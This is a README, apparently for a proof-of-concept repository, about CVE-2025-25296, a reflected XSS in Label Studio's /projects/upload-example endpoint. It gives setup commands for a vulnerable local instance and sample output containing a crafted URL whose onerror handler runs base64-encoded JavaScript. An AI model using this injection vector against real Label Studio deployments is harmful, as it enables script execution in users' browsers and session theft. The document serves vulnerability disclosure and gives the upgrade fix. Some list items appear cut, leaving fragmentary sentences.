
Proof of Concept (POC) for the CVE-2025-25296 vulnerability affecting Label Studio versions prior to 1.16.0
本项目演示了针对 CVE-2025-25296 漏洞的概念验证(POC),该漏洞影响开源数据标注工具 Label Studio。漏洞位于 /projects/upload-example 端点,该端点未能对 GET 请求中用户提供的 HTML 内容进行清理。这允许攻击者在受害者的浏览器中执行任意 JavaScript,从而导致潜在的跨站脚本(XSS)攻击。
/projects/upload-example 端点1.16.0 或更高版本作为临时解决方案:
/projects/upload-example 端点。setup.sh 使用 pip 安装)poc.py:用于利用该漏洞并演示 XSS 攻击的 Python 脚本。setup.sh:使用 Docker 搭建易受攻击环境的脚本。克隆此仓库:
git clone CVE-2025-25296-POC
cd CVE-2025-25296-POC
运行安装脚本:
chmod +x setup.sh
./setup.sh
安装脚本将执行以下操作:
1.15.0)。localhost:8080 上运行存在漏洞的 Label Studio 实例。运行漏洞利用脚本:
python poc.py
该脚本将执行以下操作:
/projects/upload-example 端点发送特制的 GET 请求。在 Web 浏览器中打开提供的 URL,即可观察到由有效载荷触发的 XSS 警报。
[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E
为缓解此漏洞:
1.16.0 或更高版本。本项目仅供教育和研究目的使用。请负责任地使用,并且仅在获得明确许可的系统上使用。未经授权使用此工具可能违反适用法律。